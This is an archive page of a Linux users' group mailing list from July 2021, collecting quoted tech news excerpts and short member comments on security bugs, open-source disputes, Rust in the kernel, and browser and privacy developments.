'Wearable electronics, like watches and fitness trackers, represent the next logical step in computing. They've sparked an interest in the development of flexible electronics, which could expand the category to include products like clothing and backpacks. Flexible electronics run into a problem, however: Our processing hardware is anything but flexible. Most efforts to deal with that limitation have involved splitting up processors into a collection of smaller units, linking them with flexible wiring, and then embedding all the components in a flexible polymer. To an extent, the process is a throwback to the early days of computing, when a floating-point unit might reside on a separate chip. But a group within the semiconductor company Arm has now managed to implement one of the company's smaller embedded designs using flexible silicon. The design works and executes all the instructions you'd expect from it, but it also illustrates the compromises we have to make to produce truly flexible electronics.' -- source: https://arstechnica.com/science/2021/07/researchers-build-a-bendable-arm-pr… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Audacity’s new owner is in another fight with the open source community
by Peter Reutemann 21 Jul '21

21 Jul '21

'Muse Group—owner of the popular audio-editing app Audacity—is in hot water with the open source community again. This time, the controversy isn't over Audacity—it's about MuseScore, an open source application which allows musicians to create, share, and download musical scores (especially, but not only, in the form of sheet music). The MuseScore app itself is licensed GPLv3, which gives developers the right to fork its source and modify it. One such developer, Wenzheng Tang ("Xmader" on GitHub) went considerably further than modifying the app—he also created separate apps designed to bypass MuseScore Pro subscription fees. After thoroughly reviewing the public comments made by both sides at GitHub, Ars spoke at length with Muse Group's Head of Strategy Daniel Ray—known on GitHub by the moniker "workedintheory"—to get to the bottom of the controversy.' -- source: https://arstechnica.com/gadgets/2021/07/audacitys-new-owner-is-in-another-f… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Nasty Linux Systemd Security Bug Revealed
by Peter Reutemann 21 Jul '21

21 Jul '21

'Qualys has discovered a new systemd security bug that enables any unprivileged user to cause a denial of service via a kernel panic. Slashdot reader inode_buddha shares the news via ZDNet's Steven J. Vaughan-Nichols: As Bharat Jogi, Qualys's senior manager of Vulnerabilities and Signatures, wrote, "Given the breadth of the attack surface for this vulnerability, Qualys recommends users apply patches for this vulnerability immediately." You can say that again. Systemd is used in almost all modern Linux distributions. This particular security hole arrived in the systemd code in April 2015. It works by enabling attackers to misuse the alloca() function in a way that would result in memory corruption. This, in turn, allows a hacker to crash systemd and hence the entire operating system. Practically speaking, this can be done by a local attacker mounting a filesystem on a very long path. This causes too much memory space to be used in the systemd stack, which results in a system crash. That's the bad news. The good news is that Red Hat Product Security and systemd's developers have immediately patched the hole. ' -- source: https://it.slashdot.org/story/21/07/20/211230 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Experimental Rust Support Patches Submitted to Linux Kernel Mailing List
by Peter Reutemann 21 Jul '21

21 Jul '21

'"The Rust for Linux project, sponsored by Google, has advanced..." reported the Register earlier this week: A new set of patches submitted to the Linux kernel mailing list summarizes the progress of the project to enable Rust to be used alongside C for implementing the Linux kernel. The progress is significant. - ARM and RISC-V architectures are now supported, thanks to work on rustc_codgen_gcc, which is a GCC codegen for rustc. This means that rustc does the initial compilation of Rust code but GCC (the GNU Compiler Collection) does the backend compilation, enabling support for the architectures that GCC supports... - Overall, "the Rust support is still to be considered experimental. However, as noted back in April, support is good enough that kernel developers can start working on the Rust abstractions for subsystems and write drivers and other modules," continued project leader Miguel Ojeda, a computer scientist at CERN in Geneva, Switzerland, now working full time on Rust for Linux... There is substantial support for the project across the industry. Google said in April "we feel that Rust is now ready to join C as a practical language for implementing the kernel" and that it would reduce the number of potential bugs and security vulnerabilities. Google is sponsoring Ojeda to work full time on the project for a year, via the ISRG (Internet Security Research Group), which said last month that it is part of "efforts to move the internet's critical software infrastructure to memory safe code," under the project name Prossimo. The ISRG is also the nonprofit organisation behind Let's Encrypt free security certificates. Ojeda also mentioned that Microsoft's Linux Systems Group is contributing and hopes to submit "select Hyper-V drivers written in Rust." Arm is promising assistance with Rust for Linux on ARM-based systems. IBM has contributed Rust kernel support for its PowerPC processor. More detail is promised at the forthcoming Linux Plumber's Conference in September. In the meantime, the project is on GitHub here. "In addition, we would like to announce that we are organizing a new conference that focuses on Rust and the Linux kernel..." Ojeda posted. "Details will be announced soon." And for context, the Register adds: Linus Torvalds has said on several occasions that he welcomes the possibility of using Rust alongside C for kernel development, and told IT Wire in April that it is "getting to the point where maybe it might be mergeable for 5.14 or something like that."' -- source: https://linux.slashdot.org/story/21/07/10/0447253 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 2

MicroG Project
by Lawrence D'Oliveiro 21 Jul '21

21 Jul '21

Came across this <https://microg.org/>, which is an open-source reimplementation of much of Google’s proprietary Play Services for Android. Their repos are on GitHub <https://github.com/microg>. They’ve been getting some funding from the German Federal Ministry of Education and Research.

1 0

DuckDuckGo Launches New Email Protection Service To Remove Trackers
by Peter Reutemann 21 Jul '21

21 Jul '21

'DuckDuckGo is launching a new email privacy service meant to stop ad companies from spying on your inbox. From a report: The company's new Email Protection feature gives users a free "@duck.com" email address, which will forward emails to your regular inbox after analyzing their contents for trackers and stripping any away. DuckDuckGo is also extending this feature with unique, disposable forwarding addresses, which can be generated easily in DuckDuckGo's mobile browser or through desktop browser extensions. The personal DuckDuckGo email is meant to be given out to friends and contacts you know, while the disposable addresses are better served when signing up for free trials, newsletters, or anywhere you suspect might sell your email address. If the email address is compromised, you can easily deactivate it. These tools are similar to anti-tracking features implemented by Apple in iOS 14 and iOS 15, but DuckDuckGo's approach integrates into iOS, Android, and all major web browsers. DuckDuckGo will also make it easier to spin up disposable email addresses on the fly, for newsletters or anywhere you might share your email.' -- source: https://yro.slashdot.org/story/21/07/20/1532258 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

For years, a backdoor in popular KiwiSDR product gave root to project developer
by Peter Reutemann 20 Jul '21

20 Jul '21

'KiwiSDR is hardware that uses a software-defined radio to monitor transmissions in a local area and stream them over the Internet. A largely hobbyist base of users does all kinds of cool things with the playing-card-sized devices. For instance, a user in Manhattan could connect one to the Internet so that people in Madrid, Spain, or Sydney, Australia, could listen to AM radio broadcasts, CB radio conversations, or even watch lightning storms in Manhattan. On Wednesday, users learned that for years, their devices had been equipped with a backdoor that allowed the KiwiSDR creator—and possibly others—to log in to the devices with administrative system rights. The remote admin could then make configuration changes and access data not just for the KiwiSDR but in many cases to the Raspberry Pi, BeagleBone Black, or other computing devices the SDR hardware is connected to.' -- source: https://arstechnica.com/gadgets/2021/07/for-years-a-backdoor-in-popular-kiw… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Hackers got past Windows Hello by tricking a webcam
by Peter Reutemann 20 Jul '21

20 Jul '21

'Biometric authentication is a key piece of the tech industry's plans to make the world password-less. But a new method for duping Microsoft's Windows Hello facial-recognition system shows that a little hardware fiddling can trick the system into unlocking when it shouldn't. Services like Apple's FaceID have made facial-recognition authentication more commonplace in recent years, with Windows Hello driving adoption even farther. Apple only lets you use FaceID with the cameras embedded in recent iPhones and iPads, and it's still not supported on Macs at all. But because Windows hardware is so diverse, Hello facial recognition works with an array of third-party webcams. Where some might see ease of adoption, though, researchers from the security firm CyberArk saw potential vulnerability. That's because you can't trust any old webcam to offer robust protections in how it collects and transmits data. Windows Hello facial recognition works only with webcams that have an infrared sensor in addition to the regular RGB sensor. But the system, it turns out, doesn't even look at RGB data. Which means that with one straight-on infrared image of a target's face and one black frame, the researchers found that they could unlock the victim's Windows Hello–protected device. By manipulating a USB webcam to deliver an attacker-chosen image, the researchers could trick Windows Hello into thinking the device owner’s face was present and unlocking.' -- source: https://arstechnica.com/information-technology/2021/07/hackers-got-past-win… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

The Case Against SQL
by Peter Reutemann 19 Jul '21

19 Jul '21

'Long-time Slashdot reader RoccamOccam shares "an interesting take on SQL and its issues from Jamie Brandon (who describes himself as an independent researcher who's built database engines, query planners, compilers, developer tools and interfaces). It's title? "Against SQL." The relational model is great... But SQL is the only widely-used implementation of the relational model, and it is: Inexpressive, Incompressible, Non-porous. This isn't just a matter of some constant programmer overhead, like SQL queries taking 20% longer to write. The fact that these issues exist in our dominant model for accessing data has dramatic downstream effects for the entire industry: - Complexity is a massive drag on quality and innovation in runtime and tooling - The need for an application layer with hand-written coordination between database and client renders useless most of the best features of relational databases The core message that I want people to take away is that there is potentially a huge amount of value to be unlocked by replacing SQL, and more generally in rethinking where and how we draw the lines between databases, query languages and programming languages... I'd like to finish with this quote from Michael Stonebraker, one of the most prominent figures in the history of relational databases: "My biggest complaint about System R is that the team never stopped to clean up SQL... All the annoying features of the language have endured to this day. SQL will be the COBOL of 2020..." It's been interesting to follow the discussion on Twitter, where the post's author tweeted screenshots of actual SQL code to illustrate various shortcomings. But he also notes that "The SQL spec (part 2 = 1732) pages is more than twice the length of the Javascript 2021 spec (879 pages), almost matches the C++ 2020 spec (1853) pages and contains 411 occurrences of 'implementation-defined', occurrences which include type inference and error propagation." His Twitter feed also includes a supportive retweet from Rust creator Graydon Hoare, and from a Tetrane developer who says "The Rust of SQL remains to be invented. I would like to see it come."' -- source: https://developers.slashdot.org/story/21/07/18/1844225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

3 3

meeting next Monday (July 26th)
by Peter Reutemann 19 Jul '21

19 Jul '21

Hi everyone We have a WLUG meeting coming up next Monday (July 26th): 'Looking for a replacement of Dropbox or Google Drive that respects your privacy? Then come to our meeting, as Glenn will show you how to install, run and use the open-source solution Nextcloud (https://nextcloud.com/) on a Raspberry Pi and check out the various clients that you can use with it.' Details: https://www.meetup.com/WaikatoLinuxUsersGroup/events/274861069/ Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

1.4 Million Cubans Bypass Censorship Using US Government-Funded Software Psiphon
by Peter Reutemann 19 Jul '21

19 Jul '21

'"Cuban officials rallied tens of thousands of supporters in the streets on Saturday — nearly a week after they were stunned by the most widespread protests in decades," the Associated Press reports. President Miguel Díaz-Canel — accompanied by 90-year-old former President Raul Castro — "made an impassioned speech blaming unrest on the U.S. and its economic embargo, 'the blockade, aggression and terror... The enemy has returned to throw all it has at destroying the sacred unity and tranquility of the citizens.'" "I think the government is just trying to signal to people that it understands their desperation and that it's going to try to alleviate some of the misery that they're experiencing. The problem is that the government just doesn't have much in the way of resources that it can devote to doing that," said William LeoGrande, an expert on Cuba at the American University in the United States. Meanwhile, Reuters reports: Psiphon Inc's freely available internet censorship circumvention tool has helped nearly 1.4 million Cubans this week gain access to websites, the company said on Friday, after Cuba's government curbed access to popular social media and messaging platforms... Thousands of Cubans joined nationwide protests over shortages of basic goods, limits on civil liberties and the government's handling of a surge in COVID-19 infections on Sunday, the most significant unrest in decades in the communist-run country. Psiphon said 1.389 million users accessed the open web from Cuba through its network on Thursday, as well as 1.238 million as noon EDT (1600 GMT) on Friday. "Internet is ON; circumvention tools ARE working," Psiphon said in a statement. Psiphon said the roughly 1.4 million represents about 20% of Cuban internet users. Its open source circumvention tool can be downloaded from app stores like Google Play or Apple to "maximize your chances of bypassing censorship," according to the company. Canadian university researchers developed the software in 2007 to let users evade governmental internet firewalls. The censorship-circumvention tool — which combines VPN, SSH, and HTTP Proxy tools — has also been used in Iran, China, Belarus, Myanmar, according to recent news reports. Bloomberg notes that the Toronto-based nonprofit Psiphon "has received funding from the Open Technology Fund, a U.S. government nonprofit that aims to support global internet freedom technologies... "On Thursday, President Biden said the U.S. is examining whether it's able to restore internet access shut down by the Cuban government."' -- source: https://yro.slashdot.org/story/21/07/18/009221 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Amazon's Elasticsearch Fork 'OpenSearch' Reaches General Availability 1.0 Milestone
by Peter Reutemann 19 Jul '21

19 Jul '21

'Mike Melanson's "This Week in Programming" column shares an update on Amazon's ongoing battle with scalable data search solution ElasticSearch: Earlier this year, AWS completed its fork of ElasticSearch with the first release of OpenSearch. If you haven't followed along, the whole affair was a bit of a tug of war between AWS and Elastic, with AWS eventually coming out seemingly on top. After Elastic changed the licensing on ElasticSearch in an attempt to prevent AWS from selling a service based on the then-open-source project, AWS forked the project to release OpenSearch under Apache 2.0, effectively preserving its open source status. Now, OpenSearch has reached 1.0, which AWS says not only "marks the first production-ready version of OpenSearch," but also introduces "multiple new enhancements," such as data streams, trace analytics span filtering, report scheduling and more. The 1.0 release also involved quite a bit of code cleanup, removing proprietary code and marks, and adds the ability to upgrade from ElasticSearch to OpenSearch as if you were performing a normal upgrade of ElasticSearch. If you're interested in learning where the project is going, head on over to the public roadmap to learn more. ' -- source: https://news.slashdot.org/story/21/07/18/1656208 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Will a New Law Help the Chinese Government Stockpile Zero-Days?
by Peter Reutemann 19 Jul '21

19 Jul '21

'"Starting September 1, 2021, the Chinese government will require that any Chinese citizen who finds a zero-day vulnerability must pass the details to the Chinese government," reports SecurityWeek, "and must not sell or give the knowledge to any third-party outside of China (apart from the vulnerable product's manufacturer)." Brief details are provided in a report by the Associated Press (AP) published Tuesday, July 13, 2021. No source is provided beyond the statement, "No one may 'collect, sell or publish information on network product security vulnerabilities,' say the rules issued by the Cyberspace Administration of China and the police and industry ministries...." AP describes this action as "further tightening the Communist Party's control over information". This is unlikely to be the primary motivation for the new rule since the government already has a vice-like grip on data. Companies may not store data on Chinese customers outside of China. Foreign companies selling routers and some other network devices in China must disclose to regulators how any encryption features work. "I would expect the Chinese Government to weaponize any discovered security vulnerabilities to enhance China's cybersecurity capabilities," Joseph Carson, chief security scientist and advisory CISO at ThycoticCentrify, tells SecurityWeek. And Jake Williams, co-founder and CTO at BreachQuest adds that "the defensive advantages of Chinese government organizations being able to mitigate vulnerabilities discovered may well outweigh any offensive gains...." But he also believes this could rebound against China. "One of the biggest likely issues is brain drain. If Chinese researchers can profit handsomely from their work anywhere else, but can't do so in China, why would they stay? This probably helps China in the short term but harms them in the long term." The new law does encourage network operators and product vendors to set up a reward mechanism for reported vulnerabilities, according to the Record. But Katie Moussouris, founder and CEO of Luta Security, also raises the issue of western-based bug bounty platforms that have been working with Chinese security researchers for the past years. "If Western-based bug bounty platforms comply with this requirement in order to continue to legally receive bug reports from Chinese researchers, we must assume they will be required to hand over vulnerability data to the Ministry within two days of receiving the reports," Moussouris said. "That requirement will effectively introduce a backdoor straight to the Chinese government in any VDP [vulnerability disclosure program] or bug bounty program where Chinese researchers submit bugs via platforms, even to non-Chinese companies."' -- source: https://it.slashdot.org/story/21/07/18/2143207 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Hey Google: It’s Not (Just) A Joke
by Lawrence D'Oliveiro 14 Jul '21

14 Jul '21

Looking at this list <https://www.nzherald.co.nz/entertainment/the-best-inappropriate-and-annoyin…> of complaints about ads that didn’t get far with the Advertising Standards Authority, one stood out for me: The complaint: One avid Google Assistant user was very riled by this ad, explaining that when the shop assistant asks "Hey Google", it ended up triggering every Google smart device in his home. "I have 10 such devices in the house which includes smart speakers, smart displays and Chromecast which all respond to the advert," they write. "This is not only highly annoying, but also a deliberate attempt to trigger these devices." Yes, it seems it really does happen ... (Though I think the award for most nitpicking has to go to the “Clair de Lune” one.)

1 0

Speed Up Microsoft Teams By Bypassing Antivirus Checks
by Lawrence D'Oliveiro 13 Jul '21

13 Jul '21

Microsoft’s official recommendation <https://github.com/MicrosoftDocs/OfficeDocs-SkypeForBusiness/blob/9df8f4069…> for improving the performance of Teams on Windows is to exclude it from antivirus checks: Add the following Teams programs to your antivirus safe list. %localappdata%\Microsoft\Teams\current\Teams.exe %localappdata%\Microsoft\Teams\Update.exe Add the following Teams folders to your antivirus safe list. %localappdata%\Microsoft\Teams %appdata%\Microsoft\Teams| Because antivirus software only exists to slow your system down, right? (Found from this <https://forums.theregister.com/forum/all/2021/07/12/windows_11_still_doesnt…> reader comment.)

2 1

Libre-SOC's Open Hardware 180nm ASIC Submitted To IMEC for Fabrication
by Peter Reutemann 11 Jul '21

11 Jul '21

'"We're building a chip. A fast chip. A safe chip. A trusted chip," explains the web page at Libre-SOC.org. "A chip with lots of peripherals. And it's VPU. And it's a 3D GPU... Oh and here, have the source code." And now there's big news, reports long-time Slashdot reader lkcl: Libre-SOC's entirely Libre 180nm ASIC, which can be replicated down to symbolic level GDS-II with no NDAs of any kind, has been submitted to IMEC for fabrication. It is the first wholly-independent Power ISA ASIC outside of IBM to go Silicon in 12 years. Microwatt went to Skywater 130nm in March; however, it is also developed by IBM, as an exceptionally well-made Reference Design, which Libre-SOC used for verification. Whilst it would seem that Libre-SOC is jumping on the chip-shortage era's innovation bandwagon, Libre-SOC has actually been in development for over three and a half years so far. It even pre-dates the OpenLane initiative, and has the same objectives: fully automated HDL to GDS-II, full transparency and auditability with Libre VLSI tools Coriolis2 and Libre Cell Libraries from Chips4Makers. With €400,000 in funding from the NLNet Foundation [a long-standing non-profit supporting privacy, security, and the "open internet"], plus an application to NGI Pointer under consideration, the next steps are to continue development of Draft Cray-style Vectors (SVP64) to the already supercomputer-level Power ISA, under the watchful eye of the upcoming OpenPOWER ISA Workgroup.' -- source: https://hardware.slashdot.org/story/21/07/10/0154220 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Edge Beats Firefox To Become the Third-Most Popular Browser
by Peter Reutemann 11 Jul '21

11 Jul '21

'"New data from Statcounter shows that Edge has now overtaken established rival Firefox in the rankings," reports TechRadar: In recent months, the pair have been neck-and-neck, but Microsoft's browser has now put daylight between itself and Firefox. Figures for June suggest Microsoft Edge now holds 3.4% of the browser market, while Firefox has slipped to 3.29%, continuing a downward trajectory that has seen the browser either lose or maintain market share in ten of the last twelve months. The change pushes Edge into third position in the browser rankings, behind only Chrome (65.27%) and Safari (18.34%). Launched in January 2020, the new Chromium-based Edge got off to a slow start, but began to gather momentum as the year progressed. Since last summer, the browser's market share has more than tripled. The increase in adoption can be attributed in part to renewed marketing efforts, but also to improvements that brought the experience in line with other modern web browsers. That may be true, but the article also acknowledges that it was just last month that Microsoft began rolling out Edge to all Windows PCs (via Windows 10 updates), "expanding the install base by millions almost overnight. "Now, Microsoft is doing everything in its power to encourage users to abandon Internet Explorer in favor of Edge, such as removing support for Microsoft 365 web apps and automatically launching certain web pages in the new browser."' -- source: https://news.slashdot.org/story/21/07/10/0353201 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google's Unfair Performance Advantage in Chrome
by Peter Reutemann 10 Jul '21

10 Jul '21

'Google Chrome for Android has a feature that gives Google Search an unfair advantage over its competition. Sure, it's the default search engine and that's a huge hurdle to overcome for any competitor. However, Chrome also reserves a performance-boosting feature for Google Search exclusively. I recently poked around in the Chromium project source code; the open-source foundation for Google's Chrome web browser. The Chromium project is co-developed by Google, and other corporate and individual contributors. The project is managed and controlled by Google, however. I was looking for something else when I stumbled upon a feature called PreconnectToSearch. When enabled, the feature preemptively opens and maintains a connection to the default search engine. The preconnection feature resolves the domain name, and negotiates and sets up a secure connection to the server. All these things take time and they must happen before the search engine can receive the users' search queries. Preempting these steps can save a dozen seconds on a slow network connection or half a second on a fast connection. This optimization can yield a nice performance boost for Google's customers. Assuming the connection only requires a trivial amount of processing power and network bandwidth, of course. Setting up the connection early can be wasteful or slow down the loading of other pages if the user isn't going to search the web. There's just one small catch: Chromium checks the default search engine setting, and only enables the feature when it's set to Google Search. This preferential treatment means no other search engine can compete with Google Search on the time it takes to load search results. Every competitor must wait until the user has started to type a search query before Chrome will establish a connection.' -- source: https://tech.slashdot.org/story/21/07/09/2056209 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Firefox Extends Privacy and Security of Canadian Internet Users With By-default DNS-over-HTTPS Rollout in Canada
by Peter Reutemann 09 Jul '21

09 Jul '21

'In a few weeks, Firefox will start the by-default rollout of DNS over HTTPS (or DoH for short) to its Canadian users in partnership with local DoH provider CIRA, the Canadian Internet Registration Authority. >From a report: DoH will first become a default for 1% of Canadian Firefox users on July 20 and will gradually reach 100% of Canadian Firefox users in late September 2021 -- thereby further increasing their security and privacy online. This follows the by-default rollout of DoH to US users in February 2020. As part of the rollout, CIRA joins Mozilla's Trusted Recursive Resolver (TRR) Program and becomes the first internet registration authority and the first Canadian organization to provide Canadian Firefox users with private and secure encrypted Domain Name System (DNS) services.' -- source: https://news.slashdot.org/story/21/07/08/1732203 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Kaspersky Password Manager Fixes Flaw That Generated Easily Bruteforced Passwords
by Peter Reutemann 09 Jul '21

09 Jul '21

'ZDNet reports: Suppose you are in the business of generating passwords, it would probably be a good idea to use an additional source of entropy other than the current time, but for a long time, that's all Kaspersky Password Manager (KPM) used. In a blog post to cap off an almost two year saga, Ledger Donjon head of security research Jean-Baptiste Bedrune showed KPM was doing just that. "Kaspersky Password Manager used a complex method to generate its passwords. This method aimed to create passwords hard to break for standard password crackers. However, such method lowers the strength of the generated passwords against dedicated tools," Bedrune wrote. One of the techniques used by KPM was to make letters that are not often used appear more frequently, which Bedrune said was probably an attempt to trick password cracking tools. "Their password cracking method relies on the fact that there are probably 'e' and 'a' in a password created by a human than 'x' or 'j', or that the bigrams 'th' and 'he' will appear much more often than 'qx' or 'zr'," he said. "Passwords generated by KPM will be, on average, far in the list of candidate passwords tested by these tools. If an attacker tries to crack a list of passwords generated by KPM, he will probably wait quite a long time until the first one is found. This is quite clever." The flip side was that if an attacker could deduce that KPM was used, then the bias in the password generator started to work against it. "If an attacker knows a person uses KPM, he will be able to break his password much more easily than a fully random password. Our recommendation is, however, to generate random passwords long enough to be too strong to be broken by a tool." The big mistake made by KPM though was using the current system time in seconds as the seed into a Mersenne Twister pseudorandom number generator. "It means every instance of Kaspersky Password Manager in the world will generate the exact same password at a given second," Bedrune said. Because the program has an animation that takes longer than a second when a password is created, Bedrune said it could be why this issue was not discovered. "The consequences are obviously bad: every password could be bruteforced," he said. Bedrune added due to sites often showing account creation time, that would leave KPM users vulnerable to a bruteforce attack of around 100 possible passwords. "Kaspersky was informed of the vulnerability in June 2019, and released the fix version in October that same year," adds ZDNet. "In October 2020, users were notified that some passwords would need to be generated, with Kaspersky publishing its security advisory on 27 April 2021." "All public versions of Kaspersky Password Manager liable to this issue now have a new logic of password generation and a passwords update alert for cases when a generated password is probably not strong enough," the security company said.' -- source: https://it.slashdot.org/story/21/07/08/2116252 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Endian Wars: Linus Has Spoken
by Lawrence D'Oliveiro 06 Jul '21

06 Jul '21

The Rust language continues to make progress for use in the Linux kernel <https://www.theregister.com/2021/07/05/rust_for_linux_kernel_project/>. The article ends with a comment from Linus Torvalds about the old “endian wars” which have been a feature of the computing landscape since byte addressability became common: should the bytes of a number be arranged in big-endian order (most significant end at the lowest address) or little-endian (least significant end at the lowest address)? In the latest patches, Ojeda proposed to use big-endian order for long symbols in the kernel symbol table, needed because Rust symbols "can become quite long due to namespacing introduced by modules, types, traits, generics." Torvalds responded: "Why is this in big-endian order? Let's just try to kill big-endian data, it's disgusting and should just die already... networking has legacy reasons from the bad old days when byte order wars were still a thing, but those days are gone." Having used both kinds of computer architectures over the years, I agree. Little-endian ordering is more mathematically consistent.

3 7

Kaseya VSA Software Compromised By Ransomware
by Lawrence D'Oliveiro 06 Jul '21

06 Jul '21

Kaseya VSA is a piece of software widely used around the world (and in NZ) to manage IT resources in small-to-medium businesses. Now it appears <https://www.rnz.co.nz/news/national/446162/new-zealand-may-be-caught-up-in-…> this software has been subverted as a weapon, likely by the notorious Russia-based “REvil” gang, to hold data to ransom across a range of organizations worldwide. This evening’s TV1 news mentions a Cambridge school <https://www.tvnz.co.nz/one-news/new-zealand/cambridge-school-among-business…> among other victims in NZ.

1 4

Open Source Audio Editor Audacity Has Become 'Spyware'
by Peter Reutemann 06 Jul '21

06 Jul '21

'Anyone deciding to download the free and open-source audio editor Audacity is being warned that the software may now be classified as spyware due to recent updates to its privacy policy. From a report: Audacity has been around for over 21 years and classes as the world's most popular audio editing software. On April 30, the Muse Group acquired Audacity with the promise that the software would "remain forever free and open source." However, as FOSS Post reports, last week the Audacity privacy policy page was updated and introduced a number of personal data collection clauses. The data collected includes OS version and name, user country based on IP address, the CPU being used, data related to Audacity error codes and crash reports, and finally "Data necessary for law enforcement, litigation and authorities' requests (if any)." The personal data collected can be shared with Muse Group employees, auditors, advisors, legal representatives and "similar agents," potential company buyers, and "any competent law enforcement body, regulatory, government agency, court or other third party where we believe disclosure is necessary (i) as a matter of applicable law or regulation, or (ii) to exercise, establish or defend our legal rights."' -- source: https://yro.slashdot.org/story/21/07/05/2155212 How long before a fork occurs that will strip out these bits? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

3 3

Infinidash: The Most Amazing Amazon Web Services Product ... That Never Was
by Lawrence D'Oliveiro 05 Jul '21

05 Jul '21

It all started with one person wondering how long it would take after merely mentioning the name of some hypothetical new AWS-based product before it started appearing in job ads. So he made up a product name, put out a tweet, and waited. It took just three days <https://www.theregister.com/2021/07/05/infinidash/>. I had a look at the linked job ad, and it still contains the sentence “Infinidash is at the core of everything we do”, with absolutely no hint that it might be tongue-in-cheek. This is just a continuation of the long-standing phenomenon among HR departments and employment agencies putting out job ads requiring something like “5+ years experience in Technology X”, when Technology X has only been around for a few months.

1 0

Microsoft To Add Support for Linux GUI Apps on Windows 10 Later This Year
by Peter Reutemann 03 Jul '21

03 Jul '21

'Microsoft is making the promised support for Linux graphical user interface (GUI) apps on Windows 10 available to customers as of the next Windows 10 release, officials said on May 25. Microsoft officials made the announcement on Day 1 of its virtual Build 2021 developers conference. From a report: During his Day 1 keynote, CEO Satya Nadella basically acknowledged there will be another event "soon" about the next Windows. He said: ""And soon we will share one of the most significant updates of Windows of the past decade." He said he has been self-hosting it over the past several months and called it "the next generation of Windows." Microsoft released a preview of Linux GUI apps on the Windows Subsystem for Linux (WSL) in April, 2021. This capability is meant to allow developers to run their preferred Linux tools, utilities and apps directly on Windows 10. With GUI app support, users can now run GUI apps for testing, development and daily use without having to set up a virtual machine.' -- source: https://linux.slashdot.org/story/21/05/25/1639238 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

3 4

Google Is Working On an HTTPS-Only Mode For Chrome
by Peter Reutemann 01 Jul '21

01 Jul '21

'Following in the footsteps of browsers like Mozilla Firefox and Microsoft Edge, Google Chrome is also in line to receive an HTTPS-Only Mode that will upgrade all unencrypted HTTP connections to encrypted HTTPS alternatives, where possible. Currently, the new Chrome HTTPS-Only Mode is still under development in Chrome Canary distributions. Work is being done to add specific settings in the browser's interface, and no actual HTTP-to-HTTPS functionality is currently present. The feature is expected to be ready for Chrome 93, set to be released later this fall.' -- source: https://tech.slashdot.org/story/21/06/30/1734234 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Tim Berners-Lee Sells Web Source Code NFT for $5.4 Million
by Peter Reutemann 01 Jul '21

01 Jul '21

'The original source code for the world wide web has been sold as a non-fungible token, making $5.4m. From a report: NFTs are certificates of ownership for digital assets, which often do not have a physical representation. They do not necessarily include copyright control -- and critics say they are get-rich-quick schemes that are bad for the environment. World-wide-web creator Sir Tim Berners-Lee sold the NFT to an unidentified buyer, through auction house Sotheby's. The highest bid stood at $3.5m for most of the last day of the auction -- but there were a flurry of bids in the closing 15 minutes. The auction began on 23 June, with an opening bid of $1,000.' -- source: https://news.slashdot.org/story/21/06/30/1846213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Word Of The Week: “Footgun”
